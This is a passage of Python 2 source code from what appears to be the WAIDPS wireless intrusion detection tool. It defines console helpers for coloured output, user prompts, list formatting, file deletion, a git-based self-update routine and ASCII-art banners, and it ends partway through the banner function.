    if len(str(PrintType))==1:
        __builtin__.tabspace="   "
    else:
        __builtin__.tabspace="  "
    if __builtin__.PrintToFile=="1" and PrintType!="@" and PrintType!="x" and PrintType!="@^" and firstsixa!="<$rs$>":
        PrintTypep=PrintType
        if PrintTypep=="  " or PrintTypep==" ":
            PrintTypep="   " + __builtin__.tabspace
        else:
            PrintTypep="[" + PrintType + "]  "
        open(LogFile,"a+b").write(RemoveColor(PrintTypep) + RemoveColor(str(PrintText.lstrip().rstrip())) + "\n")
    if PrintType=="x":
        if PrintText=="":
            PrintText="Press Any Key To Continue..."
        c1=bcolor + "[" + pcolor + PrintType + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText
        print c1,
        sys.stdout.flush()
        read_a_key()
        print ""
        return
    if PrintType=="H":
        c1=bcolor + "[" + pcolor + "i" + bcolor + "]" + __builtin__.tabspace + hcolor + PrintText + fcolor.CReset 
        if ReturnOut!="1":
            print c1
            return c1
        else:
            return c1
    if PrintType=="@" or PrintType=="@^":
        if PrintText2=="":
            PrintText2=5
        t=int(PrintText2)
        while t!=0:
            s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
            s=s.replace("%s",pcolor+str(PrintText2)+tcolor)
            sl=len(s)
            print s,
            sys.stdout.flush()
            time.sleep(1)
            s=""
            ss="\r"
            print "" + s.ljust(sl+2) + ss,
            sys.stdout.flush()
            if PrintType=="@^":
                t=t-1
                while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                    line = sys.stdin.readline()
                    if line:
                        print bcolor + "[" + fcolor.BRed + "!" + bcolor + "]" + __builtin__.tabspace + fcolor.Red + "Interupted by User.." + fcolor.Green
                        return
            else:
                t=t-1            
        c1=bcolor + "[" + pcolor + "-" + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
        c1=c1.replace("%s",pcolor+str(PrintText2)+tcolor)
        print c1,
        sys.stdout.flush()
        return
    if PrintType=="?":
        if PrintText2!="":
            usr_resp=raw_input(bcolor + "[" + pcolor + PrintType + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + " ( " + pcolor + PrintText2 + tcolor + " ) : " + fcolor.BWhite)
            return usr_resp;
        else:
            usr_resp=raw_input(bcolor + "[" + pcolor + PrintType + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + " : " + fcolor.BWhite)
            return usr_resp;
    if PrintType==" " or PrintType=="  ":
        if ReturnOut!="1":
            print bcolor + "   " + __builtin__.tabspace + tcolor + PrintText + PrintText2
        else:
            return bcolor + "   " + __builtin__.tabspace + tcolor + PrintText + PrintText2
    else:
        if ReturnOut!="1":
            print bcolor + "[" + pcolor + str(PrintType) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + PrintText2
        else:
            return bcolor + "[" + pcolor + PrintType + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + PrintText2

def AskQuestion(QuestionText, ReplyText, ReplyType, DefaultReply, DisplayReply):
    """
    Function	        : Question for user input. Quite similar to printc("?") function
    Usage of AskQuestion:
        QuestionText    - Question Text to ask
        ReplyText       - The reply text. Ex : "Y/n")
    Examples            : Lookup DemoAskQuestion() for examples
    """
    if DisplayReply=="":
        DisplayReply=1
    bcolor=fcolor.SWhite
    pcolor=fcolor.BYellow
    tcolor=fcolor.BGreen
    if ReplyText!="":
        Ques=QuestionText + tcolor + " ( " + pcolor + ReplyText + tcolor + " ) : "
        usr_resp=raw_input(bcolor + "[" + pcolor + "?" + bcolor + "]" + __builtin__.tabspace + tcolor + Ques + fcolor.BWhite)
    else:
        usr_resp=raw_input(bcolor + "[" + pcolor + "?" + bcolor + "]" + __builtin__.tabspace + tcolor + QuestionText + " : " + fcolor.BWhite)
    if DefaultReply!="":
        if usr_resp=="":
            if DisplayReply=="1":
                printc (" ",fcolor.SWhite + "Default Selected ==> " + fcolor.BYellow + str(DefaultReply),"")   
            return DefaultReply
        else:
            if ReplyType=="U":
               if DisplayReply=="1":
                   printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp.upper()),"")   
               return usr_resp.upper()
            if ReplyType=="FN":
               if os.path.isfile(usr_resp)==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Filename ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp
               else:
                   printc ("!!","Filename [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="FP":
               if os.path.exists(usr_resp)==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Path ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp
               else:
                   printc ("!!","Filename/Pathname [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="PN":
               if os.path.isdir(usr_resp)==True:
                   if usr_resp[-1:]!="/":
                       usr_resp=usr_resp + "/"
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Path ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp
               else:
                   printc ("!!","Path [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="L":
               if DisplayReply=="1":
                   printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp.lower()),"")   
               return usr_resp.lower()
            if ReplyType=="N":
               if usr_resp.isdigit()==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp;
               else:
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
    if DefaultReply=="":
        if usr_resp=="":
            if ReplyText!="":
                usr_resp=raw_input(bcolor + "[" + pcolor + "?" + bcolor + "]" + __builtin__.tabspace + tcolor + QuestionText + " ( " + pcolor + ReplyText + tcolor + " ) : " + fcolor.BWhite)
                return usr_resp;
            else:
                if ReplyType=="MA" or ReplyType=="FN" or ReplyType=="PN" or ReplyType=="FP":
                    usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                    return usr_resp;
                else:
                    if DisplayReply=="1":
                        printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str("Nothing"),"")   
                    return usr_resp;
        else:
            if ReplyType=="MN":
               if usr_resp.isdigit()==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp;
               else:
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="FN":
               if os.path.isfile(usr_resp)==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Filename ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp
               else:
                   printc ("!!","Filename [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="PN":
               if os.path.isdir(usr_resp)==True:
                   if usr_resp[-1:]!="/":
                       usr_resp=usr_resp + "/"
                       if DisplayReply=="1":
                           printc (" ",fcolor.SWhite + "Path ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp
               else:
                   printc ("!!","Path [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="FP":
               if os.path.exists(usr_resp)==True:
                   if os.path.isfile(usr_resp)==True:
                       if DisplayReply=="1":
                           printc (" ",fcolor.SWhite + "Filename ==> " + fcolor.BYellow + str(usr_resp),"")   
                       return usr_resp
                   if os.path.isdir(usr_resp)==True:
                       if usr_resp[-1:]!="/":
                           usr_resp=usr_resp + "/"
                       if DisplayReply=="1":
                           printc (" ",fcolor.SWhite + "Path ==> " + fcolor.BYellow + str(usr_resp),"")   
                       return usr_resp
                   return usr_resp
               else:
                   printc ("!!","Filename/Pathname [" + fcolor.SYellow + usr_resp + fcolor.SRed + "] does not exist !.","")
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
            if ReplyType=="U":
               if DisplayReply=="1":
                   printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp.upper()),"")   
               return usr_resp.upper()
            if ReplyType=="L":
               if DisplayReply=="1":
                   printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp.lower()),"")   
               return usr_resp.lower()
            if ReplyType=="N":
               if usr_resp.isdigit()==True:
                   if DisplayReply=="1":
                       printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp),"")   
                   return usr_resp;
               else:
                   usr_resp=AskQuestion(QuestionText, ReplyText,ReplyType,DefaultReply,DisplayReply)
                   return usr_resp;
    if usr_resp=="":
        if DisplayReply=="1":
            printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str("Nothing"),"")   
        return usr_resp;
    else:
        if DisplayReply=="1":
            printc (" ",fcolor.SWhite + "Selected ==> " + fcolor.BYellow + str(usr_resp),"")   
        return usr_resp;

def printl (DisplayText,ContinueBack,PrevIconCount):
    """
    Function	   : Displaying text on the same line
    Usage of printl:
        DisplayText        - Text to Display
        ContinueBack = "0" - Start DisplayText on beginning of line.
        ContinueBack = "1" - Start from the back of the previous DisplayText
        ContinueBack = "2" - Start DisplayText on beginning of line with Icon,PrevIconCount need to contain value
        PrevIconCount      - Value of last icon count
    Examples       : Lookup DemoOnPrintl() for examples
    """
    icolor=fcolor.BGreen
    bcolor=fcolor.SWhite
    IconDisplay=""
    if ContinueBack=="":
       ContinueBack="0"
    if PrevIconCount=="":
        PrevIconCount="0"
    else:
        PrevIconCount=int(PrevIconCount)+1
    if PrevIconCount>=8:
        PrevIconCount=0
    PrevIconCount=str(PrevIconCount)
    if PrevIconCount=="0":
        IconDisplay="|"
    if PrevIconCount=="1":
        IconDisplay="/"
    if PrevIconCount=="2":
        IconDisplay="-"
    if PrevIconCount=="3":
        IconDisplay="\\"
    if PrevIconCount=="4":
        IconDisplay="|"
    if PrevIconCount=="5":
        IconDisplay="/"
    if PrevIconCount=="6":
        IconDisplay="-"
    if PrevIconCount=="7":
        IconDisplay="\\"
    if ContinueBack=="0":
        curses.setupterm()
        TWidth=curses.tigetnum('cols')
        TWidth=TWidth-1
        sys.stdout.write("\r")
        sys.stdout.flush()
        sys.stdout.write (" " * TWidth + "\r")
        sys.stdout.flush()
        sys.stdout.write(DisplayText)
        sys.stdout.flush()
    if ContinueBack=="1":
        sys.stdout.write(DisplayText)
        sys.stdout.flush()
    if ContinueBack=="2":
        curses.setupterm()
        TWidth=curses.tigetnum('cols')
        TWidth=TWidth-1
        sys.stdout.write("\r")
        sys.stdout.flush()
        sys.stdout.write (" " * TWidth + "\r")
        sys.stdout.flush()
        sys.stdout.write(bcolor + "[" + icolor + str(IconDisplay) + bcolor + "]" + __builtin__.tabspace + DisplayText)
        sys.stdout.flush()
    return str(PrevIconCount);

def CenterText(CTxtColor, DisplayText):
    curses.setupterm()
    TWidth=curses.tigetnum('cols')
    DisplayTextL=len(DisplayText) 
    HWidth=(TWidth / 2) - (DisplayTextL / 2)
    SPA=" " * HWidth 
    SWidth=TWidth - (HWidth + DisplayTextL)
    SPA2=" " * SWidth 
    print CTxtColor + SPA + DisplayText + SPA2 + "" + fcolor.CReset

def printd(PrintText):
    if __builtin__.DEBUG==1:
        print fcolor.CDebugB  + "[DBG]  " + fcolor.CDebug + PrintText  + fcolor.CReset
    if __builtin__.DEBUG==2:
        print fcolor.CDebugB + "[DBG]  " + fcolor.CDebug + PrintText + fcolor.CReset
        print fcolor.CReset + fcolor.White + "       [Break - Press Any Key To Continue]" + fcolor.CReset
        read_a_key()

def DrawLine(LineChr,LineColor,LineCount,ToHide):
    """
    Function	     : Drawing of Line with various character type, color and count
    Usage of DrawLine:
        LineChr      - Character to use as line
        LineColor    - Color of the line
        LineCount    - Number of character to print. "" is print from one end to another
    Examples         : Lookup DemoDrawLine for examples
    """
    printd(fcolor.CDebugB + "DrawLine Function\n" + fcolor.CDebug + "       LineChr - " + str(LineChr) + "\n       " + "LineColor = " + str(LineColor) + "\n       " + "LineCount = " + str(LineCount))
    if LineColor=="":
        LineColor=fcolor.SBlack
    if LineChr=="":
        LineChr="_"
    if LineCount=="":
        curses.setupterm()
        TWidth=curses.tigetnum('cols')
        TWidth=TWidth-1
    else:
        TWidth=LineCount
    if ToHide=="":
        print LineColor + LineChr * TWidth
    else:
        return LineColor + LineChr * TWidth

def CombineListing(List1, List2, List3, List4, List5, List6, List7, List8):
    __builtin__.MergedList=[]
    __builtin__.MergedSpaceList=[]
    __builtin__.TitleList=[]
    CombineText="";ListMax1=0;ListMax2=0;ListMax3=0;ListMax4=0;ListMax5=0;ListMax6=0;ListMax7=0;ListMax8=0;x=0
    if str(List1)!="":
        while x < len(List1):
            if str(List1[x])!="":
                ETxt=RemoveColor(str(List1[x]))
                if len(ETxt)>ListMax1:
                    ListMax1=len(ETxt)
            x = x +1
        printd ("ListMax1 : " + str(ListMax1))
        ListMax1 = ListMax1 + 4
    x=0
    if str(List2)!="":
        while x < len(List2):
            if str(List2[x])!="":
                ETxt=RemoveColor(str(List2[x]))
                if len(ETxt)>ListMax2:
                    ListMax2=len(ETxt)
            x = x +1
        printd ("ListMax2 : " + str(ListMax2))
        ListMax2 = ListMax2 + 4
    x=0
    if str(List3)!="":
        while x < len(List3):
            if str(List3[x])!="":
                ETxt=RemoveColor(str(List3[x]))
                if len(ETxt)>ListMax3:
                    ListMax3=len(ETxt)
            x = x +1
        printd ("ListMax3 : " + str(ListMax3))
        ListMax3 = ListMax3 + 4
    x=0
    if str(List4)!="":
        while x < len(List4):
            if str(List4[x])!="":
                ETxt=RemoveColor(str(List4[x]))
                if len(ETxt)>ListMax4:
                    ListMax4=len(ETxt)
            x = x +1
        printd ("ListMax4 : " + str(ListMax4))
        ListMax4 = ListMax4 + 4
    x=0
    if str(List5)!="":
        while x < len(List5):
            if str(List5[x])!="":
                ETxt=RemoveColor(str(List5[x]))
                if len(ETxt)>ListMax5:
                    ListMax5=len(ETxt)
            x = x +1
        printd ("ListMax5 : " + str(ListMax5))
        ListMax5 = ListMax5 + 4
    x=0
    if str(List6)!="":
        while x < len(List6):
            if str(List6[x])!="":
                ETxt=RemoveColor(str(List6[x]))
                if len(ETxt)>ListMax6:
                    ListMax6=len(ETxt)
            x = x +1
        printd ("ListMax6 : " + str(ListMax6))
        ListMax6 = ListMax6 + 4
    x=0
    if str(List7)!="":
        while x < len(List7):
            if str(List7[x])!="":
                ETxt=RemoveColor(str(List7[x]))
                if len(ETxt)>ListMax7:
                    ListMax7=len(ETxt)
            x = x +1
        printd ("ListMax7 : " + str(ListMax7))
        ListMax7 = ListMax7 + 4
    x=0
    if str(List8)!="":
        while x < len(List8):
            if str(List8[x])!="":
                ETxt=RemoveColor(str(List8[x]))
                if len(ETxt)>ListMax8:
                    ListMax8=len(ETxt)
            x = x +1
        printd ("ListMax8 : " + str(ListMax8))
        ListMax8 = ListMax8 + 4
    printd ("ListMax1 - After + 4 : " + str(ListMax1))
    printd ("ListMax2 - After + 4 : " + str(ListMax2))
    printd ("ListMax3 - After + 4  : " + str(ListMax3))
    printd ("ListMax4 - After + 4  : " + str(ListMax4))
    printd ("ListMax5 - After + 4  : " + str(ListMax5))
    printd ("ListMax6 - After + 4  : " + str(ListMax6))
    printd ("ListMax7 - After + 4  : " + str(ListMax7))
    printd ("ListMax8 - After + 4  : " + str(ListMax8))
    __builtin__.MergedSpaceList.append(5)
    __builtin__.MergedSpaceList.append(ListMax1)
    __builtin__.MergedSpaceList.append(ListMax2)
    __builtin__.MergedSpaceList.append(ListMax3)
    __builtin__.MergedSpaceList.append(ListMax4)
    __builtin__.MergedSpaceList.append(ListMax5)
    __builtin__.MergedSpaceList.append(ListMax6)
    __builtin__.MergedSpaceList.append(ListMax7)
    __builtin__.MergedSpaceList.append(ListMax8)
    i=0
    while i < len(List1):
        remain1spc=ListMax1 - len(RemoveColor(List1[i]))
        CombineText=List1[i] + "<#&!#>" + " " * remain1spc
        if str(List2)!="":
            if str(List2[i])!="":
                remainspc=ListMax2 - len(RemoveColor(List2[i]))
                CombineText=CombineText  + List2[i] + " " * remainspc
            else:
                CombineText=CombineText + " " * ListMax2
        if str(List3)!="":
            if str(List3[i])!="":
                remainspc=ListMax3 - len(RemoveColor(List3[i]))
                CombineText=CombineText + "" + List3[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax3
        if str(List4)!="":
            if str(List4[i])!="":
                remainspc=ListMax4 - len(RemoveColor(List4[i]))
                CombineText=CombineText + "" + List4[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax4
        if str(List5)!="":
            if str(List5[i])!="":
                remainspc=ListMax5 - len(RemoveColor(List5[i]))
                CombineText=CombineText + "" + List5[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax5
        if str(List6)!="":
            if str(List6[i])!="":
                remainspc=ListMax6 - len(RemoveColor(List6[i]))
                CombineText=CombineText + "" + List6[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax6
        if str(List7)!="":
            if str(List7[i])!="":
                remainspc=ListMax7 - len(RemoveColor(List7[i]))
                CombineText=CombineText + "" + List7[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax7
        if str(List8)!="":
            if str(List8[i])!="":
                remainspc=ListMax8 - len(RemoveColor(List8[i]))
                CombineText=CombineText + "" + List8[i] + " " * remainspc
            else:
                CombineText=CombineText + "" + " " * ListMax8
        CombineText=CombineText.lstrip().rstrip()
        __builtin__.MergedList.append(str(CombineText))
        i = i + 1
    return i;

def QuestionFromList(ListTitle,ListTitleSpace,ListUse,AskQuestion,RtnType):
    __builtin__.ListingIndex=""
    bcolor=fcolor.SWhite
    pcolor=fcolor.BYellow
    ttcolor=fcolor.BBlue
    lcolor=fcolor.SYellow
    scolor=fcolor.BRed
    tcolor=fcolor.BGreen
    x=0
    sn=0
    CombineTitle=""
    totallen=0
    while x < len(ListTitle):
        xlen=len(ListTitle[x])
        remainspc=ListTitleSpace[x] - xlen
        if x==8:
            remainspc = remainspc - 4
            if remainspc<1:
                remainspc=1
        CombineTitle=CombineTitle + ListTitle[x] + " " * remainspc
        x = x +1 
    totallen=len(CombineTitle) + 1
    printl("    ","1","")
    DrawLine("=",fcolor.SWhite,totallen,"")
    print bcolor + "[" + pcolor + "*" + bcolor + "]  " + ttcolor + str(CombineTitle) + fcolor.CReset
    printl("    ","1","")
    DrawLine("=",fcolor.SWhite,totallen,"")
    for i, showtext in enumerate(ListUse):
        sn=i + 1
        remainspc = 4 - len(str(sn))
        showtext=showtext.replace("<#&!#>","")
        print "     " +scolor + str(sn) + "." + " " * remainspc + lcolor+ showtext
    printl("    ","1","")
    DrawLine("^",fcolor.SWhite,totallen,"")
    usr_resp=raw_input (bcolor + "[" + pcolor + "?" + bcolor + "]  " + tcolor + str(AskQuestion) + " [ " + scolor + "1" + tcolor + "-" + scolor + str(sn) + tcolor + " / " + scolor + "0" + fcolor.SWhite + " = Cancel" + tcolor + " ] : " + fcolor.BWhite)
    while not usr_resp.isdigit() or int(usr_resp) < 0 or int(usr_resp) > len(ListUse):
        print ""
        Result=QuestionFromList(ListTitle,ListTitleSpace,ListUse,AskQuestion,RtnType)
        return str(Result)
    if RtnType=="1":
        usr_resp = int(usr_resp) - 1
        __builtin__.ListingIndex=usr_resp
        SelList=ListUse[int(usr_resp)]
        SelList=SelList.replace("<#&!#>","\t")
        SelList=RemoveColor(SelList)
        POS=SelList.find("\t", 2) +1
        SelList=SelList[:POS]
        Rtn=SelList
        ps=subprocess.Popen("echo " + str(SelList) + " | cut -d '\t' -f1" , shell=True, stdout=subprocess.PIPE)	
        Rtn=ps.stdout.read()
        Rtn=Rtn.replace("\n","")
        if usr_resp==-1:
            usr_resp=0
            Rtn="0"
        return Rtn;
    else:
        usr_resp=usr_resp.replace("\n","")
        __builtin__.ListingIndex=usr_resp
        return usr_resp;

def DelFile(strFileName,ShowDisplay):
    import glob, os
    RtnResult=False
    if ShowDisplay=="":
        ShowDisplay=0
    if strFileName.find("*")==-1 and strFileName.find("?")==-1:
        Result=IsFileDirExist(strFileName)
        if Result=="F":
            os.remove(strFileName)
            RtnResult=True
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "File [ " + fcolor.SRed + strFileName + fcolor.SGreen + " ] deleted.","")
        else:
            if ShowDisplay=="1":
                printc ("!!",fcolor.SRed + "File [ " + fcolor.SYellow + strFileName + fcolor.SRed + " ] does not exist.","")
        return RtnResult
    else:
        filelist = glob.glob(strFileName)
        fc=0
        for f in filelist:
            if ShowDisplay=="1":
                printc (" ",fcolor.SGreen + "Deleting [ " + fcolor.SRed + str(f) + fcolor.SGreen + " ]...","")
            os.remove(f)
            fc=fc+1
        if ShowDisplay=="1":
            printc (" ",fcolor.SGreen + "Total [ " + fcolor.BRed + str(fc) + fcolor.SGreen + " ] files deleted.","")
        RtnResult=True
    return RtnResult

def MoveInstallationFiles(srcPath,dstPath):
    import shutil
    listOfFiles = os.listdir(srcPath)
    listOfFiles.sort()
    for f in listOfFiles:
        if f!=".git" and f!=".gitignore":
            srcfile = srcPath + f
            dstfile = dstPath + f
            if f==__builtin__.ScriptName:
                shutil.copy2(srcfile, "/usr/sbin/" + str(__builtin__.ScriptName))
                printd("Copy to " + "/usr/sbin/" + str(__builtin__.ScriptName))
                result=os.system("chmod +x /usr/sbin/" + __builtin__.ScriptName + " > /dev/null 2>&1")
                printd("chmod +x " + "/usr/sbin/" + str(__builtin__.ScriptName))
            if os.path.exists(dstfile):
                os.remove(dstfile)
            shutil.move(srcfile, dstfile)
            print fcolor.SGreen + "        Moving " + fcolor.CUnderline + f + fcolor.CReset + fcolor.SGreen + " to " + dstfile
            if f==__builtin__.ScriptName:
                result=os.system("chmod +x " + dstfile + " > /dev/null 2>&1")
                printd("chmod +x " + str(dstfile))

def GetScriptVersion(cmdScriptName):
    if cmdScriptName=="":
        cmdScriptName=__builtin__.ScriptFullPath
    VerStr=""
    findstr="appver=\""
    printd ("Get Version : " + cmdScriptName)
    if os.path.exists(cmdScriptName)==True:
        ps=subprocess.Popen("cat " + cmdScriptName + " | grep '" + findstr + "' | sed -n '1p'" , shell=True, stdout=subprocess.PIPE)	
        VerStr=ps.stdout.read()
        VerStr=VerStr.replace("appver=\"","")
        VerStr=VerStr.replace("\"","")
        VerStr=VerStr.replace("\n","")
        return VerStr;

def GetUpdate(ExitMode):
    if ExitMode=="":
        ExitMode="1"
    github="https://github.com/SYWorks/WAIDPS.git"
    Updatetmpdir="/tmp/git-update-wh/"
    DownloadedScriptLocation=Updatetmpdir + __builtin__.ScriptName
    dstPath=os.getcwd() + "/"
    dstPath=appdir
    dstScript=dstPath + __builtin__.ScriptName
    CurVersion=GetScriptVersion(dstScript)
    printc (".","Retrieving update details ....","")
    result=RemoveTree(Updatetmpdir,"")
    result=os.system("git clone " + github + " " + Updatetmpdir + " > /dev/null 2>&1")
    if result==0:
        printc (" ",fcolor.SGreen + "Package downloaded..","")
        NewVersion=GetScriptVersion(DownloadedScriptLocation)
        if CurVersion!=NewVersion:
            printc ("i","Current Version\t: " + fcolor.BRed + str(CurVersion),"")
            printc ("  ",fcolor.BWhite + "New Version\t: " + fcolor.BRed + str(NewVersion),"")
            Ask=AskQuestion ("Do you want to update ?","Y/n","","Y","")
            if Ask=="y" or Ask=="Y" or Ask=="":
                srcPath=Updatetmpdir
                result=MoveInstallationFiles(srcPath,dstPath)
                result=os.system("chmod +x " + dstScript + " > /dev/null 2>&1")
                result=RemoveTree(Updatetmpdir,"")
                print ""
                printc ("i",fcolor.BGreen + "Application updated !!","")
                printc ("  ",fcolor.SGreen + "Re-run the updated application on [ " + fcolor.BYellow + dstScript + fcolor.SGreen + " ]..","")
                if ExitMode=="1":
                    exit(0)
                else:
                    return
            else:
                printc ("i",fcolor.BWhite + "Update aborted..","")
                result=RemoveTree(Updatetmpdir,"")
        else:
            printc ("i","Your already have the latest version [ " + fcolor.BRed + str(CurVersion) + fcolor.BWhite + " ].","")
            printc ("  ",fcolor.BWhite + "Update aborted..","")
            result=RemoveTree(Updatetmpdir,"")
            if ExitMode=="1":
                exit(0)
            else:
                return
    else:
        printd ("Unknown Error : " + str(result))
        printc ("!!!","Unable to retrieve update !!","")
        if ExitMode=="1":
            exit(1)
        else:
            return

def GetDir(LookupPath):
    import os
    import tempfile
    pathname, scriptname = os.path.split(sys.argv[0])
    if LookupPath=="":
        LookupPath="appdir"
    LookupPath=LookupPath.lower()
    if LookupPath=="curdir":
        result=os.getcwd()
    if LookupPath=="appdir":
       result=os.path.realpath(os.path.dirname(sys.argv[0]))
    if LookupPath=="exedir":
        result=os.path.dirname(sys.executable)
    if LookupPath=="relativedir":
        result=pathname
    if LookupPath=="scriptdir":
        result=os.path.abspath(pathname)
    if LookupPath=="sysdir":
        result=sys.path[0]
    if LookupPath=="pypath":
        result=sys.path[1]
    if LookupPath=="homedir":
        result=os.environ['HOME']
    if LookupPath=="tmpdir":
        result=tempfile.gettempdir()
    if LookupPath=="userset":
        result=appdir
    result=result + "/"
    if result[-2:]=="//":
        result=result[:len(str(result))-1]
    return result;

def CheckLinux():
    from subprocess import call
    from platform import system
    os = system()
    printd ("Operating System : " + os)
    if os != 'Linux':
        printc ("!!!","This application only works on Linux.","")
        exit(1)

def CheckPyVersion(MinPyVersion):
    import platform
    PyVersion = platform.python_version()
    printd ("Python Version : " + PyVersion)
    if MinPyVersion!="":
        if MinPyVersion >= PyVersion:
            printc ("!!!",fcolor.BGreen + "Your Python version " + fcolor.BRed + str(PyVersion) + fcolor.BGreen + " may be outdated.","")
            printc ("  ",fcolor.BWhite + "Minimum version required for this application is " + fcolor.BRed + str(MinPyVersion) + fcolor.BWhite + ".","")
            exit(0)

def GetAppName():
    __builtin__.ScriptName=os.path.basename(__file__)
    __builtin__.DScriptName="./" + __builtin__.ScriptName
    appdir=os.path.realpath(os.path.dirname(sys.argv[0]))
    __builtin__.FullScriptName=str(appdir) + "/" + str(__builtin__.ScriptName)
    printd("__builtin__.FullScriptName : " + __builtin__.FullScriptName)
    printd("ScriptName : " + str(__builtin__.ScriptName))

def ShowBanner():
    Ver=fcolor.BWhite + "  Version " + appver + " (Updated - " + appupdated + ")"
    wordart = random.randrange(1,10+1)
    if wordart == 1:
        print fcolor.BGreen + """ __          __     _____ _____  _____   _____ 
 \ \        / /\   |_   _|  __ \|  __ \ / ____|
  \ \  /\  / /  \    | | | |  | | |__) | (___  
   \ \/  \/ / /\ \   | | | |  | |  ___/ \___ \ 
    \  /\  / ____ \ _| |_| |__| | |     ____) |
     \/  \/_/    \_\_____|_____/|_|    |_____/ """ + str(Ver)
        return
    if wordart == 2:
        print fcolor.BGreen + " _    _  ___  _________________  _____ "
        print fcolor.BGreen + "| |  | |/ _ \\|_   _|  _  \\ ___ \\/  ___|"
        print fcolor.BGreen + "| |  | / /_\\ \\ | | | | | | |_/ /\\ `--. "
        print fcolor.BGreen + "| |/\\| |  _  | | | | | | |  __/  `--. \\"
        print fcolor.BGreen + "\\  /\\  / | | |_| |_| |/ /| |    /\\__/ /"
        print fcolor.BGreen + " \\/  \\/\\_| |_/\\___/|___/ \\_|    \\____/ "+ str(Ver)
        return
    if wordart == 3:
        print fcolor.BGreen + " __      __  _____  .___________ __________  _________"
        print fcolor.BGreen + "/  \\    /  \\/  _  \\ |   \\______ \\\\______   \\/   _____/"
        print fcolor.BGreen + "\\   \\/\\/   /  /_\\  \\|   ||    |  \\|     ___/\\_____  \\ "
        print fcolor.BGreen + " \\        /    |    \\   ||    `   \\    |    /        \\"
        print fcolor.BGreen + "  \\__/\\  /\\____|__  /___/_______  /____|   /_______  /"
        print fcolor.BGreen + "       \\/         \\/            \\/                 \\/ "+ str(Ver)
        return
    if wordart == 4:
        print fcolor.BGreen + """ ____      ____  _       _____  ______   _______    ______   
|_  _|    |_  _|/ \     |_   _||_   _ `.|_   __ \ .' ____ \  
  \ \  /\  / / / _ \      | |    | | `. \ | |__) || (___ \_| 
   \ \/  \/ / / ___ \     | |    | |  | | |  ___/  _.____`.  
    \  /\  /_/ /   \ \_  _| |_  _| |_.' /_| |_    | \____) | 
     \/  \/|____| |____||_____||______.'|_____|    \______.' """+ str(Ver)
        return
    if wordart == 5:
        print fcolor.BGreen + """ _       _  _____  _  ___    ___    ___   
( )  _  ( )(  _  )(_)(  _`\ (  _`\ (  _`\ 
| | ( ) | || (_) || || | ) || |_) )| (_(_)
| | | | | ||  _  || || | | )| ,__/'`\__ \ 
| (_/ \_) || | | || || |_) || |    ( )_) |
`\___x___/'(_) (_)(_)(____/'(_)    `\____)"""+ str(Ver)
        return
    if wordart == 6:
        print fcolor.BGreen + """ _       _____    ________  ____  _____
| |     / /   |  /  _/ __ \/ __ \/ ___/
| | /| / / /| |  / // / / / /_/ /\__ \ 
| |/ |/ / ___ |_/ // /_/ / ____/___/ / 
|__/|__/_/  |_/___/_____/_/    /____/  """+ str(Ver)
        return
    if wordart == 7:
